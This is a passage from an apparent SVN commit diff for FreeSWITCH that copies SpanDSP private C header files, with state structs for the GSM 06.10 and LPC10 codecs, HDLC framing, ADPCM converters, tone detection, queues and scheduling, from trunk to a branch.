+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/gsm0610.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/gsm0610.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/gsm0610.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/gsm0610.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/gsm0610.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,65 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/gsm0610.h - GSM 06.10 full rate speech codec.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: gsm0610.h,v 1.2 2008/11/15 14:27:29 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_GSM0610_H_)
+#define _SPANDSP_PRIVATE_GSM0610_H_
+
+/*!
+    GSM 06.10 FR codec state descriptor. This defines the state of
+    a single working instance of the GSM 06.10 FR encoder or decoder.
+*/
+struct gsm0610_state_s
+{
+    /*! \brief One of the packing modes */
+    int packing;
+
+    int16_t dp0[280];
+
+    /*! Preprocessing */
+    int16_t z1;
+    int32_t L_z2;
+    /*! Pre-emphasis */
+    int16_t mp;
+
+    /*! Short term delay filter */
+    int16_t u[8];
+    int16_t LARpp[2][8];
+    int16_t j;
+
+    /*! Long term synthesis */
+    int16_t nrp;
+    /*! Short term synthesis */
+    int16_t v[9];
+    /*! Decoder postprocessing */
+    int16_t msr;
+    
+    /*! Encoder data */
+    int16_t e[50];
+};
+
+#endif
+/*- End of include ---------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/hdlc.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/hdlc.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/hdlc.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/hdlc.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/hdlc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,140 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/hdlc.h
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: hdlc.h,v 1.3 2009/02/12 12:38:39 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_HDLC_H_)
+#define _SPANDSP_PRIVATE_HDLC_H_
+
+/*!
+    HDLC receive descriptor. This contains all the state information for an HDLC receiver.
+ */
+struct hdlc_rx_state_s
+{
+    /*! 2 for CRC-16, 4 for CRC-32 */
+    int crc_bytes;
+    /*! \brief Maximum permitted frame length. */
+    size_t max_frame_len;
+    /*! \brief The callback routine called to process each good received frame. */
+    hdlc_frame_handler_t frame_handler;
+    /*! \brief An opaque parameter passed to the frame callback routine. */
+    void *frame_user_data;
+    /*! \brief The callback routine called to report status changes. */
+    modem_rx_status_func_t status_handler;
+    /*! \brief An opaque parameter passed to the status callback routine. */
+    void *status_user_data;
+    /*! \brief TRUE if bad frames are to be reported. */
+    int report_bad_frames;
+    /*! \brief The number of consecutive flags which must be seen before framing is
+        declared OK. */
+    int framing_ok_threshold;
+    /*! \brief TRUE if framing OK has been announced. */
+    int framing_ok_announced;
+    /*! \brief Number of consecutive flags seen so far. */
+    int flags_seen;
+
+    /*! \brief The raw (stuffed) bit stream buffer. */
+    unsigned int raw_bit_stream;
+    /*! \brief The destuffed bit stream buffer. */
+    unsigned int byte_in_progress;
+    /*! \brief The current number of bits in byte_in_progress. */
+    int num_bits;
+    /*! \brief TRUE if in octet counting mode (e.g. for MTP). */
+    int octet_counting_mode;
+    /*! \brief Octet count, to achieve the functionality needed for things
+               like MTP. */
+    int octet_count;
+    /*! \brief The number of octets to be allowed between octet count reports. */
+    int octet_count_report_interval;
+
+    /*! \brief Buffer for a frame in progress. */
+    uint8_t buffer[HDLC_MAXFRAME_LEN + 4];
+    /*! \brief Length of a frame in progress. */
+    size_t len;
+
+    /*! \brief The number of bytes of good frames received (CRC not included). */
+    unsigned long int rx_bytes;
+    /*! \brief The number of good frames received. */
+    unsigned long int rx_frames;
+    /*! \brief The number of frames with CRC errors received. */
+    unsigned long int rx_crc_errors;
+    /*! \brief The number of too short and too long frames received. */
+    unsigned long int rx_length_errors;
+    /*! \brief The number of HDLC aborts received. */
+    unsigned long int rx_aborts;
+};
+
+/*!
+    HDLC transmit descriptor. This contains all the state information for an
+    HDLC transmitter.
+ */
+struct hdlc_tx_state_s
+{
+    /*! 2 for CRC-16, 4 for CRC-32 */
+    int crc_bytes;
+    /*! \brief The callback routine called to indicate transmit underflow. */
+    hdlc_underflow_handler_t underflow_handler;
+    /*! \brief An opaque parameter passed to the callback routine. */
+    void *user_data;
+    /*! \brief The minimum flag octets to insert between frames. */
+    int inter_frame_flags;
+    /*! \brief TRUE if frame creation works in progressive mode. */
+    int progressive;
+    /*! \brief Maximum permitted frame length. */
+    size_t max_frame_len;
+
+    /*! \brief The stuffed bit stream being created. */
+    uint32_t octets_in_progress;
+    /*! \brief The number of bits currently in octets_in_progress. */
+    int num_bits;
+    /*! \brief The currently rotated state of the flag octet. */
+    int idle_octet;
+    /*! \brief The number of flag octets to send for a timed burst of flags. */
+    int flag_octets;
+    /*! \brief The number of abort octets to send for a timed burst of aborts. */
+    int abort_octets;
+    /*! \brief TRUE if the next underflow of timed flag octets should be reported */
+    int report_flag_underflow;
+
+    /*! \brief The current message being transmitted, with its CRC attached. */
+    uint8_t buffer[HDLC_MAXFRAME_LEN + 4];
+    /*! \brief The length of the message in the buffer. */
+    size_t len;
+    /*! \brief The current send position within the buffer. */
+    size_t pos;
+    /*! \brief The running CRC, as data fills the frame buffer. */
+    uint32_t crc;
+
+    /*! \brief The current byte being broken into bits for transmission. */
+    int byte;
+    /*! \brief The number of bits remaining in byte. */
+    int bits;
+    
+    /*! \brief TRUE if transmission should end on buffer underflow .*/
+    int tx_end;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/ima_adpcm.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/ima_adpcm.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/ima_adpcm.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/ima_adpcm.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/ima_adpcm.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,55 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/ima_adpcm.c - Conversion routines between linear 16 bit PCM data
+ *		                 and IMA/DVI/Intel ADPCM format.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * Based on a bit from here, a bit from there, eye of toad,
+ * ear of bat, etc - plus, of course, my own 2 cents.
+ *
+ * $Id: ima_adpcm.h,v 1.1 2008/11/30 10:17:31 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_IMA_ADPCM_H_)
+#define _SPANDSP_PRIVATE_IMA_ADPCM_H_
+
+/*!
+    IMA (DVI/Intel) ADPCM conversion state descriptor. This defines the state of
+    a single working instance of the IMA ADPCM converter. This is used for
+    either linear to ADPCM or ADPCM to linear conversion.
+*/
+struct ima_adpcm_state_s
+{
+    int variant;
+    /*! \brief The size of a chunk, in samples. */
+    int chunk_size;
+    /*! \brief The last state of the ADPCM algorithm. */
+    int last;
+    /*! \brief Current index into the step size table. */
+    int step_index;
+    /*! \brief The current IMA code byte in progress. */
+    uint16_t ima_byte;
+    int bits;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/logging.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/logging.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/logging.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/logging.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/logging.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,48 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/logging.h - definitions for error and debug logging.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2005 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: logging.h,v 1.1 2008/11/30 13:44:35 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_LOGGING_H_)
+#define _SPANDSP_PRIVATE_LOGGING_H_
+
+/*!
+    Logging descriptor. This defines the working state for a single instance of
+    the logging facility for spandsp.
+*/
+struct logging_state_s
+{
+    int level;
+    int samples_per_second;
+    int64_t elapsed_samples;
+    const char *tag;
+    const char *protocol;
+
+    message_handler_func_t span_message;
+    error_handler_func_t span_error;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/lpc10.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/lpc10.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/lpc10.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/lpc10.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/lpc10.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,220 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/lpc10.h - LPC10 low bit rate speech codec.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: lpc10.h,v 1.3 2009/04/12 09:12:11 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_LPC10_H_)
+#define _SPANDSP_PRIVATE_LPC10_H_
+
+/*!
+    LPC10 codec encoder state descriptor. This defines the state of
+    a single working instance of the LPC10 encoder.
+*/
+struct lpc10_encode_state_s
+{
+    /*! \brief ??? */
+    int error_correction;
+
+    /* State used only by function high_pass_100hz */
+    /*! \brief ??? */
+    float z11;
+    /*! \brief ??? */
+    float z21;
+    /*! \brief ??? */
+    float z12;
+    /*! \brief ??? */
+    float z22;
+    
+    /* State used by function lpc10_analyse */
+    /*! \brief ??? */
+    float inbuf[LPC10_SAMPLES_PER_FRAME*3];
+    /*! \brief ??? */
+    float pebuf[LPC10_SAMPLES_PER_FRAME*3];
+    /*! \brief ??? */
+    float lpbuf[696];
+    /*! \brief ??? */
+    float ivbuf[312];
+    /*! \brief ??? */
+    float bias;
+    /*! \brief No initial value necessary */
+    int32_t osbuf[10];
+    /*! \brief Initial value 1 */
+    int32_t osptr;
+    /*! \brief ??? */
+    int32_t obound[3];
+    /*! \brief Initial value vwin[2][0] = 307; vwin[2][1] = 462; */
+    int32_t vwin[3][2];
+    /*! \brief Initial value awin[2][0] = 307; awin[2][1] = 462; */
+    int32_t awin[3][2];
+    /*! \brief ??? */
+    int32_t voibuf[4][2];
+    /*! \brief ??? */
+    float rmsbuf[3];
+    /*! \brief ??? */
+    float rcbuf[3][10];
+    /*! \brief ??? */
+    float zpre;
+
+    /* State used by function onset */
+    /*! \brief ??? */
+    float n;
+    /*! \brief Initial value 1.0f */
+    float d__;
+    /*! \brief No initial value necessary */
+    float fpc;
+    /*! \brief ??? */
+    float l2buf[16];
+    /*! \brief ??? */
+    float l2sum1;
+    /*! \brief Initial value 1 */
+    int32_t l2ptr1;
+    /*! \brief Initial value 9 */
+    int32_t l2ptr2;
+    /*! \brief No initial value necessary */
+    int32_t lasti;
+    /*! \brief Initial value FALSE */
+    int hyst;
+
+    /* State used by function lpc10_voicing */
+    /*! \brief Initial value 20.0f */
+    float dither;
+    /*! \brief ??? */
+    float snr;
+    /*! \brief ??? */
+    float maxmin;
+    /*! \brief Initial value is probably unnecessary */
+    float voice[3][2];
+    /*! \brief ??? */
+    int32_t lbve;
+    /*! \brief ??? */
+    int32_t lbue;
+    /*! \brief ??? */
+    int32_t fbve;
+    /*! \brief ??? */
+    int32_t fbue;
+    /*! \brief ??? */
+    int32_t ofbue;
+    /*! \brief ??? */
+    int32_t sfbue;
+    /*! \brief ??? */
+    int32_t olbue;
+    /*! \brief ??? */
+    int32_t slbue;
+
+    /* State used by function dynamic_pitch_tracking */
+    /*! \brief ??? */
+    float s[60];
+    /*! \brief ??? */
+    int32_t p[2][60];
+    /*! \brief ??? */
+    int32_t ipoint;
+    /*! \brief ??? */
+    float alphax;
+
+    /* State used by function lpc10_pack */
+    /*! \brief ??? */
+    int32_t isync;
+};
+
+/*!
+    LPC10 codec decoder state descriptor. This defines the state of
+    a single working instance of the LPC10 decoder.
+*/
+struct lpc10_decode_state_s
+{
+    /*! \brief ??? */
+    int error_correction;
+
+    /* State used by function decode */
+    /*! \brief Initial value 60 */
+    int32_t iptold;
+    /*! \brief Initial value TRUE */
+    int first;
+    /*! \brief ??? */
+    int32_t ivp2h;
+    /*! \brief ??? */
+    int32_t iovoic;
+    /*! \brief Initial value 60. */
+    int32_t iavgp;
+    /*! \brief ??? */
+    int32_t erate;
+    /*! \brief ??? */
+    int32_t drc[10][3];
+    /*! \brief ??? */
+    int32_t dpit[3];
+    /*! \brief ??? */
+    int32_t drms[3];
+
+    /* State used by function synths */
+    /*! \brief ??? */
+    float buf[LPC10_SAMPLES_PER_FRAME*2];
+    /*! \brief Initial value LPC10_SAMPLES_PER_FRAME */
+    int32_t buflen;
+
+    /* State used by function pitsyn */
+    /*! \brief No initial value necessary as long as first_pitsyn is initially TRUE */
+    int32_t ivoico;
+    /*! \brief  No initial value necessary as long as first_pitsyn is initially TRUE */
+    int32_t ipito;
+    /*! \brief Initial value 1.0f */
+    float rmso;
+    /*! \brief No initial value necessary as long as first_pitsyn is initially TRUE */
+    float rco[10];
+    /*! \brief No initial value necessary as long as first_pitsyn is initially TRUE */
+    int32_t jsamp;
+    /*! \brief Initial value TRUE */
+    int first_pitsyn;
+
+    /* State used by function bsynz */
+    /*! \brief ??? */
+    int32_t ipo;
+    /*! \brief ??? */
+    float exc[166];
+    /*! \brief ??? */
+    float exc2[166];
+    /*! \brief ??? */
+    float lpi[3];
+    /*! \brief ??? */
+    float hpi[3];
+    /*! \brief ??? */
+    float rmso_bsynz;
+
+    /* State used by function random */
+    /*! \brief ??? */
+    int32_t j;
+    /*! \brief ??? */
+    int32_t k;
+    /*! \brief ??? */
+    int16_t y[5];
+
+    /* State used by function deemp */
+    /*! \brief ??? */
+    float dei[2];
+    /*! \brief ??? */
+    float deo[3];
+};
+
+#endif
+/*- End of include ---------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/modem_connect_tones.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/modem_connect_tones.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/modem_connect_tones.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/modem_connect_tones.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/modem_connect_tones.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,100 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/modem_connect_tones.c - Generation and detection of tones
+ *                                 associated with modems calling and
+ *                                 answering calls.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: modem_connect_tones.h,v 1.2 2009/01/29 18:30:14 steveu Exp $
+ */
+ 
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_MODEM_CONNECT_TONES_H_)
+#define _SPANDSP_PRIVATE_MODEM_CONNECT_TONES_H_
+
+/*!
+    Modem connect tones generator descriptor. This defines the state
+    of a single working instance of the tone generator.
+*/
+struct modem_connect_tones_tx_state_s
+{
+    int tone_type;
+
+    int32_t tone_phase_rate;
+    uint32_t tone_phase;
+    int16_t level;
+    /*! \brief Countdown to the next phase hop */
+    int hop_timer;
+    /*! \brief Maximum duration timer */
+    int duration_timer;
+    uint32_t mod_phase;
+    int32_t mod_phase_rate;
+    int16_t mod_level;
+};
+
+/*!
+    Modem connect tones receiver descriptor. This defines the state
+    of a single working instance of the tone detector.
+*/
+struct modem_connect_tones_rx_state_s
+{
+    /*! \brief The tone type being detected. */
+    int tone_type;
+    /*! \brief Callback routine, using to report detection of the tone. */
+    tone_report_func_t tone_callback;
+    /*! \brief An opaque pointer passed to tone_callback. */
+    void *callback_data;
+
+    /*! \brief The notch filter state. */
+    float z1;
+    float z2;
+    /*! \brief The in notch power estimate */
+    int notch_level;
+    /*! \brief The total channel power estimate */
+    int channel_level;
+    /*! \brief Sample counter for the small chunks of samples, after which a test is conducted. */
+    int chunk_remainder;
+    /*! \brief TRUE is the tone is currently confirmed present in the audio. */
+    int tone_present;
+    /*! \brief */
+    int tone_on;
+    /*! \brief A millisecond counter, to time the duration of tone sections. */
+    int tone_cycle_duration;
+    /*! \brief A count of the number of good cycles of tone reversal seen. */
+    int good_cycles;
+    /*! \brief TRUE if the tone has been seen since the last time the user tested for it */
+    int hit;
+    /*! \brief A V.21 FSK modem context used when searching for FAX preamble. */
+    fsk_rx_state_t v21rx;
+    /*! \brief The raw (stuffed) bit stream buffer. */
+    unsigned int raw_bit_stream;
+    /*! \brief The current number of bits in the octet in progress. */
+    int num_bits;
+    /*! \brief Number of consecutive flags seen so far. */
+    int flags_seen;
+    /*! \brief TRUE if framing OK has been announced. */
+    int framing_ok_announced;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/noise.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/noise.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/noise.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/noise.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/noise.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,48 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/noise.h - A low complexity audio noise generator, suitable for
+ *                   real time generation (current just approx AWGN)
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2005 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: noise.h,v 1.1 2008/11/30 12:45:09 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_NOISE_H_)
+#define _SPANDSP_PRIVATE_NOISE_H_
+
+/*!
+    Noise generator descriptor. This contains all the state information for an instance
+    of the noise generator.
+ */
+struct noise_state_s
+{
+    int class_of_noise;
+    int quality;
+    int32_t rms;
+    uint32_t rndnum;
+    int32_t state;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/oki_adpcm.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/oki_adpcm.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/oki_adpcm.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/oki_adpcm.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/oki_adpcm.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,60 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/oki_adpcm.h - Conversion routines between linear 16 bit PCM data
+ *		                 and OKI (Dialogic) ADPCM format.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2001 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: oki_adpcm.h,v 1.1 2008/11/30 10:17:31 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_OKI_ADPCM_H_)
+#define _SPANDSP_PRIVATE_OKI_ADPCM_H_
+
+/*!
+    Oki (Dialogic) ADPCM conversion state descriptor. This defines the state of
+    a single working instance of the Oki ADPCM converter. This is used for
+    either linear to ADPCM or ADPCM to linear conversion.
+*/
+struct oki_adpcm_state_s
+{
+    /*! \brief The bit rate - 24000 or 32000. */
+    int bit_rate;
+    /*! \brief The last state of the ADPCM algorithm. */
+    int16_t last;
+    /*! \brief Current index into the step size table. */
+    int16_t step_index;
+    /*! \brief The compressed data byte in progress. */
+    uint8_t oki_byte;
+    /*! \brief The signal history for the sample rate converter. */
+    int16_t history[32];
+    /*! \brief Pointer into the history buffer. */
+    int ptr;
+    /*! \brief Odd/even sample counter. */
+    int mark;
+    /*! \brief Phase accumulator for the sample rate converter. */
+    int phase;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/queue.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/queue.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/queue.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/queue.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/queue.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/queue.h - simple in process message queuing
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: queue.h,v 1.2 2009/01/31 08:48:11 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_QUEUE_H_)
+#define _SPANDSP_PRIVATE_QUEUE_H_
+
+/*!
+    Queue descriptor. This defines the working state for a single instance of
+    a byte stream or message oriented queue.
+*/
+struct queue_state_s
+{
+    /*! \brief Flags indicating the mode of the queue. */
+    int flags;
+    /*! \brief The length of the data buffer. */
+    int len;
+    /*! \brief The buffer input pointer. */
+    volatile int iptr;
+    /*! \brief The buffer output pointer. */
+    volatile int optr;
+#if defined(SPANDSP_FULLY_DEFINE_QUEUE_STATE_T)
+    /*! \brief The data buffer, sized at the time the structure is created. */
+    uint8_t data[];
+#endif
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/schedule.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/schedule.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/schedule.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/schedule.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/schedule.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/schedule.h
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: schedule.h,v 1.1 2008/11/30 05:43:37 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_SCHEDULE_H_)
+#define _SPANDSP_PRIVATE_SCHEDULE_H_
+
+/*! A scheduled event entry. */
+struct span_sched_s
+{
+    uint64_t when;
+    span_sched_callback_func_t callback;
+    void *user_data;
+};
+
+/*! A scheduled event queue. */
+struct span_sched_state_s
+{
+    uint64_t ticker;
+    int allocated;
+    int max_to_date;
+    span_sched_t *sched;
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/sig_tone.h

